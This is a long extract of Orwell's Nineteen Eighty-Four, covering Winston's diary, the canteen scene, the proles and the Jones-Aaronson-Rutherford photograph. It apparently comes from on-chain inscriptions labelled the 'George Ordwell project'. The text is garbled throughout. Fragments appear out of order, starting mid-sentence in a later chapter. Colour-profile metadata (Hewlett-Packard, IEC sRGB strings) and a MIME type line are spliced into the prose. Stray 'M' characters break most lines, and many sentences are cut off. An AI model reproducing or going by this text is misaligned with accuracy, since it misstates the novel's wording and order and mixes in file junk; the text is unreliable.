most a home, it did not even seem a hardship that they could only meet infrequently and for a couple of hours at a time. What mattered was that the room over the junk shop should exist. To know that it was there, inviolate, was almost the same as being in it. The room was a world, a pocket of the past where extinct animals could walk. Mr. Charrington, thought Winston, was another extinct animal. He usually stopped to talk with Mr. Charrington for a few minutes on his way upstairs. The old man seemed seldom or neverM
 to go out of doors, and on the other hand to have almost no customers. He led a ghostlike existence between the tiny, dark shop and an even tinier back kitchen where he prepared his meals and which contained, among other things, an unbelievably ancient gramophone with an enormous horn. He seemed glad of the opportunity to talk. Wandering about among his worthless stock, with his long nose and thick spectacles and his bowed shoulders in the velvet jacket, he had always vaguely the air of being a collector rather thM
an a tradesman. With a sort of faded enthusiasm he would finger this scrap of rubbish or that
a china bottle-stopper, the painted lid of a broken snuffbox, a pinchbeck locket containing a strand of some long-dead baby's hair
never asking that Winston should buy it, merely that he should admire it. To talk to him was like listening to the tinkling of a worn-out musical box. He had dragged out from the corners of his memory some more fragments of forgotten rhymes. There was one about four and twenty blackbirds, aM
nd another about a cow with a crumpled horn, and another about the death of poor Cock Robin. "It just occurred to me you might be interested," he would say with a deprecating little laugh whenever he produced a new fragment. But he could never recall more than a few lines of any one rhyme.
in a way, it was never out of their minds
that what was now happening could not last long.h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
It was the type that seemed to flourish best under the dominion of the Party.
The announcement from the Ministry of Plenty ended on another trumpet call and gave way to tinny music. Parsons, stirred to vague enthusiasm by the bombardment of figures, took his pipe out M
"The Ministry of Plenty's certainly done a good job this year," he said with a knowing shake of his head. "By the way, Smith old boy, I suppose you haven't got any razor blades you can let me have?"
"Not one," said Winston. "I've been using the same blade for six weeks myself."
just thought I'd ask you, old boy."
"Sorry," said Winston.
The quacking voice from the next table, temporarily silenced during the Ministry's announcement, had started up again, as loud as ever. For some reasonM
 Winston suddenly found himself thinking of Mrs. Parsons, with her wispy hair and the dust in the creases of her face. Within two years those children would be denouncing her to the Thought Police. Mrs. Parsons would be vaporized. Syme would be vaporized. Winston would be vaporized. O'Brien would be vaporized. Parsons, on the other hand, would never be vaporized. The eyeless creature with the quacking voice would never be vaporized. The little beetlelike men who scuttled so nimbly through the labyrinthine corridorsM
they, too, would never be vaporized. And the girl with dark hair, the girl from the Fiction Department
she would never be vaporized either. It seemed to him that he knew instinctively who would survive and who would perish, though just what it was that made for survival, it was not easy to say.
At this moment he was dragged out of his reverie with a violent jerk. The girl at the next table had turned partly round and was looking at him. It was the girl with dark hair. She was looking at him in aM
 sidelong way, but with curious intensity. The instant that she caught his eye she looked away again.
The sweat started out on Winston's backbone. A horrible pang of terror went through him. It was gone almost at once, but it left a sort of nagging uneasiness behind. Why was she watching him? Why did she keep following him about? Unfortunately he could not remember whether she had already been at that table when he arrived, or had come there afterwards. But yesterday, at any rate, during the Two Minutes Hate, she M
had sat immediately behind him when there was no apparent need to do so. Quite likely her real object had been to listen to him and make sure whether he was shouting loudly enough.
His earlier thought returned to him: probably she was not actually a member of the Thought Police, but then it was precisely the amateur spy who was the greatest danger of all. He did not know how long she had been looking at him, but perhaps for as much as five minutes, and it was possible that his features had not been perfectly underM
 control. It was terribly dangerous to let your thoughts wander when you were in any public place or within range of a telescreen. The smallest thing could give you away. A nervous tic, an unconscious look of anxiety, a habit of muttering to yourself
anything that carried with it the suggestion of abnormality, of having something to hide. In any case, to wear an improper expression on your face (to look incredulous when a victory was announced, for example) was itself a punishable offense. There was even a word fM
or it in Newspeak: facecrime, it was called.
The girl had turned her back on him again. Perhaps after all she was not really following him about; perhaps it was coincidence that she had sat so close to him two days running. His cigarette had gone out, and he laid it carefully on the edge of the table. He would finish smoking it after work, if he could keep the tobacco in it. Quite likely the person at the next table was a spy of the Thought Police, and quite likely he would be in the cellars of the Ministry of LovM
e within three days, but a cigarette end must not be wasted. Syme had folded up his strip of paper and stowed it away in his pocket. Parsons had begun talking again.
"Did I ever tell you, old boy," he said, chuckling round the stem of his pipe, "about the time when those two nippers of mine set fire to the old market-woman's skirt because they saw her wrapping up sausages in a poster of B.B.? Sneaked up behind her and set fire to it with a box of matches. Burned her quite badly, I believe. Little beggars, eh? But M
keen as mustard! That's a first-rate training they give them in the Spies nowadays
better than in my day, even. What d'you think's the latest thing they've served them out with? Ear trumpets for listening through keyholes! My little girl brought one home the other night
tried it out on our sitting room door, and reckoned she could hear twice as much as with her ear to the hole. Of course it's only a toy, mind you. Still, gives 'em the right idea, eh?"
At this moment the telescreen let out a piercing whistle. IM
t was the signal to return to work. All three men sprang to their feet to join in the struggle round the lifts, and the remaining tobacco fell out of Winston's cigarette.
Winston was writing in his diary:
It was three years ago. It was on a dark evening, in a narrow side street near one of the big railway stations. She was standing near a doorway in the wall, under a street lamp that hardly gave any light. She had a young face, painted very thick. It was really the paint that appealed to me, the whiteness of iM
t, like a mask, and the bright red lips. Party women never paint their faces. There was nobody else in the street, and no telescreens. She said two dollars. I
For the moment it was too difficult to go on. He shut his eyes and pressed his fingers against them, trying to squeeze out the vision that kept recurring. He had an almost overwhelming temptation to shout a string of filthy words at the top of his voice. Or to bang his head against the wall, to kick over the table and hurl the inkpot through the window
to do any violent or noisy or painful thing that might black out the memory that was tormenting him.
Your worst enemy, he reflected, was your own nervous system. At any moment the tension inside you was liable to translate itself into some visible symptom. He thought of a man whom he had passed in the street a few weeks back: a quite ordinary-looking man, a Party member, aged thirty-five or forty, tallish and thin, carrying a brief case. They were a few meters apart when the left side of the man's face was suddenlM
y contorted by a sort of spasm. It happened again just as they were passing one another: it was only a twitch, a quiver, rapid as the clicking of a camera shutter, but obviously habitual. He remembered thinking at the time: that poor devil is done for. And what was frightening was that the action was quite possibly unconscious. The most deadly danger of all was talking in your sleep. There was no way of guarding against that, so far as he could see.
He drew in his breath and went on writing:
I went with her throuM
gh the doorway and across a backyard into a basement kitchen. There was a bed against the wall, and a lamp on the table, turned down very low. She
His teeth were set on edge. He would have liked to spit. Simultaneously with the woman in the basement kitchen he thought of Katharine, his wife. Winston was married
had been married, at any rate; probably he still was married, for so far as he knew his wife was not dead. He seemed to breathe again the warm stuffy odor of the basement kitchen, an odor compounded ofM
 bugs and dirty clothes and villainous cheap scent, but nevertheless alluring, because no woman of the Party ever used scent, or could be imagined as doing so. Only the proles used scent. In his mind the smell of it was inextricably mixed up with fornication.
When he had gone with that woman it had been his first lapse in two years or thereabouts. Consorting with prostitutes was forbidden, of course, but it was one of those rules that you could occasionally nerve yourself to break. It was dangerous, but it was notM
 a life-and-death matter. To be caught with a prostitute might mean five years in a forced-Plabor camp: not more, if you had committed no other offense. And it was easy enough, provided that you could avoid being caught in the act. The poorer quarters swarmed with women who were ready to sell themselves. Some could even be purchased for a bottle of gin, which the proles were not supposed to drink. Tacitly the Party was even inclined to encourage prostitution, as an outlet for instincts which could not be altogetherM
 suppressed. Mere debauchery did not matter very much, so long as it was furtive and joyless, and only involved the women of a submerged and despised class. The unforgivable crime was promiscuity between Party members. But
though this was one of the crimes that the accused in the great purges invariably confessed to
it was difficult to imagine any such thing actually happening.
The aim of the Party was not merely to prevent men and women from forming loyalties which it might not be able to control. Its real, uM
ndeclared purpose was to remove all pleasure from the sexual act. Not love so much as eroticism was the enemy, inside marriage as well as outside it. All marriages between Party members had to be approved by a committee appointed for the purpose, and
though the principle was never clearly stated
permission was always refused if the couple concerned gave the impression of being physically attracted to one another. The only recognized purpose of marriage was to beget children for the service of the Party. Sexual M
intercourse was to be looked on as a slightly disgusting minor operation, like having an enema. This again was never put into plain words, but in an indirect way it was rubbed into every Party member from childhood onwards. There were even organizations such as the Junior Anti-Sex League which advocated complete celibacy for both sexes. All children were to be begotten by artificial insemination (artsem, it was called in Newspeak) and brought up in public institutions. This, Winston was aware, was not meant altogetM
her seriously, but somehow it fitted in with the general ideology of the Party. The Party was trying to kill the sex instinct, or, if it could not be killed, then to distort it and dirty it. He did not know why this was so, but it seemed natural that it should be so. And so far as the women were concerned, the Party's efforts were largely successful.
He thought again of Katharine. It must be nine, ten
nearly eleven years since they had parted. It was curious how seldom he thought of her. For days at a time he waM
s capable of forgetting that he had ever been married. They had only been together for about fifteen months. The Party did not permit divorce, but it rather encouraged separation in cases where there were no children.
Katharine was a tall, fair-haired girl, very straight, with splendid movements. She had a bold, aquiline face, a face that one might have called noble until one discovered that there was as nearly as possible nothing behind it. Very early in their married life he had decided
though perhaps it was oM
nly that he knew her more intimately than he knew most people
that she had without exception the most stupid, vulgar, empty mind that he had ever encountered. She had not a thought in her head that was not a slogan, and there was no imbecility, absolutely none, that she was not capable of swallowing if the Party handed it out to her. "The human sound track" he nicknamed her in his own mind. Yet he could have endured living with her if it had not been for just one thing
As soon as he touched her she seemedM
 to wince and stiffen. To embrace her was like embracing a jointed wooden image. And what was strange was that even when she was clasping him against her he had the feeling that she was simultaneously pushing him away with all her strength. The rigidity of her muscles managed to convey that impression. She would lie there with shut eyes, neither resisting nor co-operating, but submitting. It was extraordinarily embarrassing and, after a while, horrible. But even then he could have borne living with her if it had beM
en agreed that they should remain celibate. But curiously enough it was Katharine who refused this. They must, she said, produce a child if they could. So the performance continued to happen, once a week quite regularly, whenever it was not impossible. She used even to remind him of it in the morning, as something which had to be done that evening and which must not be forgotten. She had two names for it. One was "making a baby," and the other was "our duty to the Party" (yes, she had actually used that phrase). QuM
ite soon he grew to have a feeling of positive dread when the appointed day came round. But luckily no child appeared, and in the end she agreed to give up trying, and soon afterwards they parted.
Winston sighed inaudibly. He picked up his pen again and wrote:
She threw herself down on the bed, and at once, without any kind of preliminary, in the most coarse, horrible way you can imagine, pulled up her skirt. I
He saw himself standing there in the dim lamplight, with the smell of bugs and cheap scent in his nM
ostrils, and in his heart a feeling of defeat and resentment which even at that moment was mixed up with the thought of Katharine's white body, frozen forever by the hypnotic power of the Party. Why did it always have to be like this? Why could he not have a woman of his own instead of these filthy scuffles at intervals of years? But a real love affair was an almost unthinkable event. The women of the Party were all alike. Chastity was as deeply ingrained in them as Party loyalty. By careful early conditioning, by M
games and cold water, by the rubbish that was dinned into them at school and in the Spies and the Youth League, by lectures, parades, songs, slogans, and martial music, the natural feeling had been driven out of them. His reason told him that there must be exceptions, but his heart did not believe it. They were all impregnable, as the Party intended that they should be. And what he wanted, more even than to be loved, was to break down that wall of virtue, even if it were only once in his whole life. The sexual act,M
 successfully performed, was rebellion. Desire was thoughtcrime. Even to have awakened Katharine, if he could have achieved it, would have been like a seduction, although she was his wife.
But the rest of the story had got to be written down. He wrote:
I turned up the lamp. When I saw her in the light
After the darkness, the feeble light of the paraffin lamp had seemed very bright. For the first time he could see the woman properly. He had taken a step toward her and then halted, full of lust and terror. He wM
as painfully conscious of the risk he had taken in coming here. It was perfectly possible that the patrols would catch him on the way out; for that matter they might be waiting outside the door at this moment. If he went away without even doing what he had come here to do
It had got to be written down, it had got to be confessed. What he had suddenly seen in the lamplight was that the woman was old. The paint was plastered so thick on her face that it looked as though it might crack like a cardboard mask. TherM
e were streaks of white in her hair; but the truly dreadful detail was that her mouth had fallen a little open, revealing nothing except a cavernous blackness. She had no teeth at all.
He wrote hurriedly, in scrabbling handwriting:
When I saw her in the light she was quite an old woman, fifty years old at least. But I went ahead and did it just the same.
He pressed his fingers against his eyelids again. He had written it down at last, but it made no difference. The therapy had not worked. The urge to shout filthM
y words at the top of his voice was as strong as ever.
If there is hope [wrote Winston] it lies in the proles.
If there was hope, it must lie in the proles, because only there, in those swarming disregarded masses, eighty-five per cent of the population of Oceania, could the force to destroy the Party ever be generated. The Party could not be overthrown from within. Its enemies, if it had any enemies, had no way of coming together or even of identifying one another. Even if the legendary Brotherhood existed, M
as just possibly it might, it was inconceivable that its members could ever assemble in larger numbers than twos and threes. Rebellion meant a look in the eyes, an inflection of the voice; at the most, an occasional whispered word. But the proles, if only they could somehow become conscious of their own strength, would have no need to conspire. They needed only to rise up and shake themselves like a horse shaking off flies. If they chose they could blow the Party to pieces tomorrow morning. Surely sooner or later iM
t must occur to them to do it. And yet
He remembered how once he had been walking down a crowded street when a tremendous shout of hundreds of voices
had burst from a side street a little way ahead. It was a great formidable cry of anger and despair, a deep loud "Oh-o-o-o-oh!" that went humming on like the reverberation of a bell. His heart had leapt. It's started! he had thought. A riot! The proles are breaking loose at last! When he had reached the spot it was to see a mob of two or three M
hundred women crowding round the stalls of a street market, with faces as tragic as though they had been the doomed passengers on a sinking ship. But at this moment the general despair broke down into a multitude of individual quarrels. It appeared that one of the stalls had been selling tin saucepans. They were wretched, flimsy things, but cooking pots of any kind were always difficult to get. Now the supply had unexpectedly given out. The successful women, bumped and jostled by the rest, were trying to make off wM
ith their saucepans while dozens of others clamored round the stall, accusing the stallkeeper of favoritism and of having more saucepans somewhere in reserve. There was a fresh outburst of yells. Two bloated women, one of them with her hair coming down, had got hold of the same saucepan and were trying to tear it out of one another's hands. For a moment they were both tugging, and then the handle came off. Winston watched them disgustedly. And yet, just for a moment, what almost frightening power had sounded in thaM
t cry from only a few hundred throats! Why was it that they could never shout like that about anything that mattered?
Until they become conscious they will never rebel, and until after they have rebelled they cannot become conscious.
That, he reflected, might almost have been a transcription from one of the Party textbooks. The Party claimed, of course, to have liberated the proles from bondage. Before the Revolution they had been hideously oppressed by the capitalists, they had been starved and floggeM
d, women had been forced to work in the coal mines (women still did work in the coal mines, as a matter of fact), children had been sold into the factories at the age of six. But simultaneously, true to the principles of doublethink, the Party taught that the proles were natural inferiors who must be kept in subjection, like animals, by the application of a few simple rules. In reality very little was known about the proles. It was not necessary to know much. So long as they continued to work and breed, their otherM
 activities were without importance. Left to themselves, like cattle turned loose upon the plains of Argentina, they had reverted to a style of life that appeared to be natural to them, a sort of ancestral pattern. They were born, they grew up in the gutters, they went to work at twelve, they passed through a brief blossoming period of beauty and sexual desire, they married at twenty, they were middle-aged at thirty, they died, for the most part, at sixty. Heavy physical work, the care of home and children, petty qM
uarrels with neighbors, films, football, beer, and, above all, gambling filled up the horizon of their minds. To keep them in control was not difficult. A few agents of the Thought Police moved always among them, spreading false rumors and marking down and eliminating the few individuals who were judged capable of becoming dangerous; but no attempt was made to indoctrinate them with the ideology of the Party. It was not desirable that the proles should have strong political feelings. All that was required of them wM
as a primitive patriotism which could be appealed to whenever it was necessary to make them accept longer working hours or shorter rations. And even when they became discontented, as they sometimes did, their discontent led nowhere, because, being without general ideas, they could only focus it on petty specific grievances. The larger evils invariably escaped their notice. The great majority of proles did not even have telescreens in their homes. Even the civil police interfered with them very little. There was a vM
ast amount of criminality in London, a whole world-within-a-world of thieves, bandits, prostitutes, drug peddlers, and racketeers of every description; but since it all happened among the proles themselves, it was of no importance. In all questions of morals they were allowed to follow their ancestral code. The sexual puritanism of the Party was not imposed upon them. Promiscuity went unpunished; divorce was permitted. For that matter, even religious worship would have been permitted if the proles had shown any sigM
n of needing or wanting it. They were beneath suspicion. As the Party slogan put it: "Proles and animals are free."
Winston reached down and cautiously scratched his varicose ulcer. It had begun itching again. The thing you invariably came back to was the impossibility of knowing what life before the Revolution had really been like. He took out of the drawer a copy of a children's history textbook which he had borrowed from Mrs. Parsons, and began copying a passage into the diary:
In the old days [it ran], beforeM
 the glorious Revolution, London was not the beautiful city that we know today. It was a dark, dirty, miserable place where hardly anybody had enough to eat and where hundreds and thousands of poor people had no boots on their feet and not even a roof to sleep under. Children no older than you are had to work twelve hours a day for cruel masters, who flogged them with whips if they worked too slowly and fed them on nothing but stale breadcrusts and water. But in among all this terrible poverty there were just a fewM
 great big beautiful houses that were lived in by rich men who had as many as thirty servants to look after them. These rich men were called capitalists. They were fat, ugly men with wicked faces, like the one in the picture on the opposite page. You can see that he is dressed in a long black coat which was called a frock coat, and a queer, shiny hat shaped like a stovepipe, which was called a top hat. This was the uniform of the capitalists, and no one else was allowed to wear it. The capitalists owned everything M
in the world, and everyone else was their slave. They owned all the land, all the houses, all the factories, and all the money. If anyone disobeyed them they could throw him into prison, or they could take his job away and starve him to death. When any ordinary person spoke to a capitalist he had to cringe and bow to him, and take off his cap and address him as "Sir." The chief of all the capitalists was called the King, and
But he knew the rest of the catalogue. There would be mention of the bishops in their lM
awn sleeves, the judges in their ermine robes, the pillory, the stocks, the treadmill, the cat-o'-nine-tails, the Lord Mayor's Banquet, and the practice of kissing the Pope's toe. There was also something called the jus primae noctis, which would probably not be mentioned in a textbook for children. It was the law by which every capitalist had the right to sleep with any woman working in one of his factories.
How could you tell how much of it was lies? It might be true that the average human being was better off nM
ow than he had been before the Revolution. The only evidence to the contrary was the mute protest in your own bones, the instinctive feeling that the conditions you lived in were intolerable and that at some other time they must have been different. It struck him that the truly characteristic thing about modern life was not its cruelty and insecurity, but simply its bareness, its dinginess, its listlessness. Life, if you looked about you, bore no resemblance not only to the lies that streamed out of the telescreensM
, but even to the ideals that the Party was trying to achieve. Great areas of it, even for a Party member, were neutral and nonpolitical, a matter of slogging through dreary jobs, fighting for a place on the Tube, darning a worn-out sock, cadging a saccharine tablet, saving a cigarette end. The ideal set up by the Party was something huge, terrible, and glittering
a world of steel and concrete, of monstrous machines and terrifying weapons
a nation of warriors and fanatics, marching forward in perfect unity, allM
 thinking the same thoughts and shouting the same slogans, perpetually working, fighting, triumphing, persecuting
three hundred million people all with the same face. The reality was decaying, dingy cities, where underfed people shuffled to and fro in leaky shoes, in patched-up nineteenth-century houses that smelt always of cabbage and bad lavatories. He seemed to see a vision of London, vast and ruinous, city of a million dust bins, and mixed up with it was a picture of Mrs. Parsons, a woman with lined face and M
wispy hair, fiddling helplessly with a blocked wastepipe.
He reached down and scratched his ankle again. Day and night the telescreens bruised your ears with statistics proving that people today had more food, more clothes, better houses, better recreations
that they lived longer, worked shorter hours, were bigger, healthier, stronger, happier, more intelligent, better educated, than the people of fifty years ago. Not a word of it could ever be proved or disproved. The Party claimed, for example, that today fortM
y per cent of adult proles were literate; before the Revolution, it was said, the number had only been fifteen per cent. The Party claimed that the infant mortality rate was now only a hundred and sixty per thousand, whereas before the Revolution it had been three hundred
and so it went on. It was like a single equation with two unknowns. It might very well be that literally every word in the history books, even the things that one accepted without question, was pure fantasy. For all he knew there might never havM
e been any such law as the jus primae noctis, or any such creature as a capitalist, or any such garment as a top hat.
Everything faded into mist. The past was erased, the erasure was forgotten, the lie became truth. Just once in his life he had possessed
after the event: that was what counted
concrete, unmistakable evidence of an act of falsification. He had held it between his fingers for as long as thirty seconds. In 1973, it must have been
at any rate, it was at about the time when he and Katharine had paM
rted. But the really relevant date was seven or eight years earlier.
The story really began in the middle Sixties, the period of the great purges in which the original leaders of the Revolution were wiped out once and for all. By 1970 none of them was left, except Big Brother himself. All the rest had by that time been exposed as traitors and counter-revolutionaries. Goldstein had fled and was hiding, no one knew where, and of the others, a few had simply disappeared, while the majority had been executed after speM
ctacular public trials at which they made confession of their crimes. Among the last survivors were three men named Jones, Aaronson, and Rutherford. It must have been in 1965 that these three had been arrested. As often happened, they had vanished for a year or more, so that one did not know whether they were alive or dead, and then had suddenly been brought forth to incriminate themselves in the usual way. They had confessed to intelligence with the enemy (at that date, too, the enemy was Eurasia), embezzlement ofM
 public funds, the murder of various trusted Party members, intrigues against the leadership of Big Brother which had started long before the Revolution happened, and acts of sabotage causing the death of hundreds of thousands of people. After confessing to these things they had been pardoned, reinstated in the Party, and given posts which were in fact sinecures but which sounded important. All three had written long, abject articles in the Times, analyzing the reasons for their defection and promising to make amenM
Some time after their release Winston had actually seen all three of them in the Chestnut Tree Caf
. He remembered the sort of terrified fascination with which he had watched them out of the corner of his eye. They were men far older than himself, relics of the ancient world, almost the last great figures left over from the heroic early days of the Party. The glamor of the underground struggle and the civil war still faintly clung to them. He had the feeling, though already at that time facts and dates were gM
rowing blurry, that he had known their names years earlier than he had known that of Big Brother. But also they were out-Plaws, enemies, untouchables, doomed with absolute certainty to extinction within a year or two. No one who had once fallen into the hands of the Thought Police ever escaped in the end. They were corpses waiting to be sent back to the grave.
There was no one at any of the tables nearest to them. It was not wise even to be seen in the neighborhood of such people. They were sitting in silence befoM
re glasses of the gin flavored with cloves which was the speciality of the caf
. Of the three, it was Rutherford whose appearance had most impressed Winston. Rutherford had once been a famous caricaturist, whose brutal cartoons had helped to inflame popular opinion before and during the Revolution. Even now, at long intervals, his cartoons were appearing in the Times. They were simply an imitation of his earlier manner, and curiously lifeless and unconvincing. Always they were a rehashing of the ancient themes
lum tenements, starving children, street battles, capitalists in top hats
even on the barricades the capitalists still seemed to cling to their top hats
an endless, hopeless effort to get back into the past. He was a monstrous man, with a mane of greasy gray hair, his face pouched and seamed, with protuberant lips. At one time he must have been immensely strong; now his great body was sagging, sloping, bulging, falling away in every direction. He seemed to be breaking up before one's eyes, like a mountain crumbM
It was the lonely hour of fifteen. Winston could not now remember how he had come to be in the caf
 at such a time. The place was almost empty. A tinny music was trickling from the telescreens. The three men sat in their corner almost motionless, never speaking. Uncommanded, the waiter brought fresh glasses of gin. There was a chessboard on the table beside them, with the pieces set out, but no game started. And then, for perhaps half a minute in all, something happened to the telescreens. The tune that theM
y were playing changed, and the tone of the music changed too. There came into it
but it was something hard to describe. It was a peculiar, cracked, braying, jeering note; in his mind Winston called it a yellow note. And then a voice from the telescreen was singing:
"Under the spreading chestnut tree
I sold you and you sold me:
There lie they, and here lie we
Under the spreading chestnut tree."
The three men never stirred. But when Winston glanced again at Rutherford's ruinous face, he saw that his eyes were fulM
l of tears. And for the first time he noticed, with a kind of inward shudder, and yet not knowing at what he shuddered, that both Aaronson and Rutherford had broken noses.
A little later all three were rearrested. It appeared that they had engaged in fresh conspiracies from the very moment of their release. At their second trial they confessed to all their old crimes over again, with a whole string of new ones. They were executed, and their fate was recorded in the Party histories, a warning to posterity. About fiM
ve years after this, in 1973, Winston was unrolling a wad of documents which had just flopped out of the pneumatic tube onto his desk when he came on a fragment of paper which had evidently been slipped in among the others and then forgotten. The instant he had flattened it out he saw its significance. It was a half-page torn out of the Times of about ten years earlier
the top half of the page, so that it included the date
and it contained a photograph of the delegates at some Party function in New York. ProminM
ent in the middle of the group were Jones, Aaronson, and Rutherford. There was no mistaking them; in any case their names were in the caption at the bottom.
The point was that at both trials all three men had confessed that on that date they had been on Eurasian soil. They had flown from a secret airfield in Canada to a rendezvous somewhere in Siberia, and had conferred with members of the Eurasian General Staff, to whom they had betrayed important military secrets. The date had stuck in Winston's memory because iM
t chanced to be Midsummer Day; but the whole story must be on record in countless other places as well. There was only one possible conclusion: the confessions were lies.
Of course, this was not in itself a discovery. Even at that time Winston had not imagined that the people who were wiped out in the purges had actually committed the crimes that they were accused of. But this was concrete evidence; it was a fragment of the abolished past, like a fossil bone which turns up in the wrong stratum and destroys a geoloM
gical theory. It was enough to blow the Party to atoms, if in some way it could have been published to the world and its significance made known.
He had gone straight on working. As soon as he saw what the photograph was, and what it meant, he had covered it up with another sheet of paper. Luckily, when he unrolled it, it had been upside-down from the point of view of the telescreen.
He took his scribbling pad on his knee and pushed back his chair, so as to get as far away from the telescreen as possible. To keepM
 your face expressionless was not difficult, and even your breathing could be controlled, with an effort; but you could not control the beating of your heart, and the telescreen was quite delicate enough to pick it up. He let what he judged to be ten minutes go by, tormented all the while by the fear that some accident
a sudden draught blowing across his desk, for instance
would betray him. Then, without uncovering it again, he dropped the photograph into the memory hole, along with some other waste papers. WitM
hin another minute, perhaps, it would have crumbled into ashes.
eleven years ago. Today, probably, he would have kept that photograph. It was curious that the fact of having held it in his fingers seemed to him to make a difference even now, when the photograph itself, as well as the event it recorded, was only memory. Was the Party's hold upon the past less strong, he wondered, because a piece of evidence which existed no longer had once existed?
But today, supposing that it could be somehow resurM
rected from its ashes, the photograph might not even be evidence. Already, at the time when he made his discovery, Oceania was no longer at war with Eurasia, and it must have been to the agents of Eastasia that the three dead men had betrayed their country. Since then there had been other changes
two, three, he could not remember how many. Very likely the confessions had been rewritten and rewritten until the original facts and dates no longer had the smallest significance. The past not only changed, but changed M
continuously. What most afflicted him with the sense of nightmare was that he had never clearly understood why the huge imposture was undertaken. The immediate advantages of falsifying the past were obvious, but the ultimate motive was mysterious. He took up his pen again and wrote:
I understand HOW: I do not understand WHY.
He wondered, as he had many times wondered before, whether he himself was a lunatic. Perhaps a lunatic was simply a minority of one. At one time it had been a sign of madness to believe that M
the earth goes round the sun; today, to believe that the past is unalterable. He might be alone in holding that belief, and if alone, then a lunatic. But the thought of being a lunatic did not greatly trouble him; the horror was that he might also be wrong.
He picked up the children's history book and looked at the portrait of Big Brother which formed its frontispiece. The hypnotic eyes gazed into his own. It was as though some huge force were pressing down upon you
something that penetrated inside your skull, bM
attering against your brain, frightening you out of your beliefs, persuading you, almost, to deny the evidence of your senses. In the end the Party would announce that two and two made five, and you would have to believe it. It was inevitable that they should make that claim sooner or later: the logic of their position demanded it. Not merely the validity of experience, but the very existence of external reality was tacitly denied by their philosophy. The heresy of heresies was common sense. And what was terrifyingM
 was not that they would kill you for thinking otherwise, but that they might be right. For, after all, how do we know that two and two make four? Or that the force of gravity works? Or that the past is unchangeable? If both the past and the external world exist only in the mind, and if the mind itself is controllable
But no! His courage seemed suddenly to stiffen of its own accord. The face of O'Brien, not called up by any obvious association, had floated into his mind. He knew, with more certainty tM
han before, that O'Brien was on his side. He was writing the diary for O'Brien
to O'Brien; it was like an interminable letter which no one would ever read, but which was addressed to a particular person and took its color from that fact.
The Party told you to reject the evidence of your eyes and ears. It was their final, most essential command. His heart sank as he thought of the enormous power arrayed against him, the ease with which any Party intellectual would overthrow him in debate, the subtle arguments whiM
ch he would not be able to understand, much less answer. And yet he was in the right! They were wrong and he was right. The obvious, the silly, and the true had got to be defended. Truisms are true, hold on to that! The solid world exists, its laws do not change. Stones are hard, water is wet, objects unsupported fall toward the earth's center. With the feeling that he was speaking to O'Brien, and also that he was setting forth an important axiom, he wrote:
Freedom is the freedom to say that two plus two make fourM
. If that is granted, all else follows.
From somewhere at the bottom of a passage the smell of roasting coffee
real coffee, not Victory Coffee
came floating out into the street. Winston paused involuntarily. For perhaps two seconds he was back in the half-forgotten world of his childhood. Then a door banged, seeming to cut off the smell as abruptly as though it had been a sound.
He had walked several kilometers over pavements, and his varicose ulcer was throbbing. This was the second time in three weeks M
that he had missed an evening at the Community Center: a rash act, since you could be certain that the number of your attendances at the Center were carefully checked. In principle a Party member had no spare time, and was never alone except in bed. It was assumed that when he was not working, eating, or sleeping he would be taking part in some kind of communal recreations; to do anything that suggested a taste for solitude, even to go for a walk by yourself, was always slightly dangerous. There was a word for it iM
n Newspeak: ownlife, it was called, meaning individualism and eccentricity. But this evening as he came out of the Ministry the balminess of the April air had tempted him. The sky was a warmer blue than he had seen it that year, and suddenly the long, noisy evening at the Center, the boring, exhausting games, the lectures, the creaking camaraderie oiled by gin, had seemed intolerable. On impulse he had turned away from the bus stop and wandered off into the labyrinth of London, first south, then east, then north agM
ain, losing himself along unknown streets and hardly bothering in which direction he was going.
"If there is hope," he had written in the diary, "it lies in the proles." The words kept coming back to him, statement of a mystical truth and a palpable absurdity. He was somewhere in the vague, brown-colored slums to the north and east of what had once been Saint Pancras Station. He was walking up a cobbled street of little two-story houses with battered doorways which gave straight on the pavement and which were someM
how curiously suggestive of rat holes. There were puddles of filthy water here and there among the cobbles. In and out of the dark doorways, and down narrow alleyways that branched off on either side, people swarmed in astonishing numbers
girls in full bloom, with crudely lipsticked mouths, and youths who chased the girls, and swollen waddling women who showed you what the girls would be like in ten years time, and old bent creatures shuffling along on splayed feet, and ragged barefooted children who played in thM
e puddles and then scattered at angry yells from their mothers. Perhaps a quarter of the windows in the street were broken and boarded up. Most of the people paid no attention to Winston; a few eyed him with a sort of guarded curiosity. Two monstrous women with brick-red forearms folded across their aprons were talking outside a doorway. Winston caught scraps of conversation as he approached.
"'Yes,' I says to 'er, 'that's all very well,' I says. 'But if you'd of been in my place you'd of done the same as what I dM
one. It's easy to criticize,' I says, 'but you ain't got the same problems as what I got.'"
"Ah," said the other, "that's jest it. That's jest where it is."
The strident voices stopped abruptly. The women studied him in hostile silence as he went past. But it was not hostility, exactly; merely a kind of wariness, a momentary stiffening, as at the passing of some unfamiliar animal. The blue overalls of the Party could not be a common sight in a street like this. Indeed, it was unwise to be seen in such places, unlM
ess you had definite business there. The patrols might stop you if you happened to run into them. "May I see your papers, comrade? What are you doing here? What time did you leave work? Is this your usual way home?"
and so on and so forth. Not that there was any rule against walking home by an unusual route, but it was enough to draw attention to you if the Thought Police heard about it.
Suddenly the whole street was in commotion. There were yells of warning from all sides. People were shooting into the doorwaysM
 like rabbits. A young woman leapt out of a doorway a little ahead of Winston, grabbed up a tiny child playing in a puddle, whipped her apron round it, and leapt back again, all in one movement. At the same instant a man in a concertina-like black suit, who had emerged from a side alley, ran toward Winston, pointing excitedly to the sky.
"Steamer!" he yelled. "Look out, guv'nor! Bang over'ead! Lay down quick!"
"Steamer" was a nickname which, for some reason, the proles applied to rocket bombs. Winston promptly flM
ung himself on his face. The proles were nearly always right when they gave you a warning of this kind. They seemed to possess some kind of instinct which told them several seconds in advance when a rocket was coming, although the rockets supposedly traveled faster than sound. Winston clasped his forearms about his head. There was a roar that seemed to make the pavement heave; a shower of light objects pattered onto his back. When he stood up he found that he was covered with fragments of glass from the nearest winM
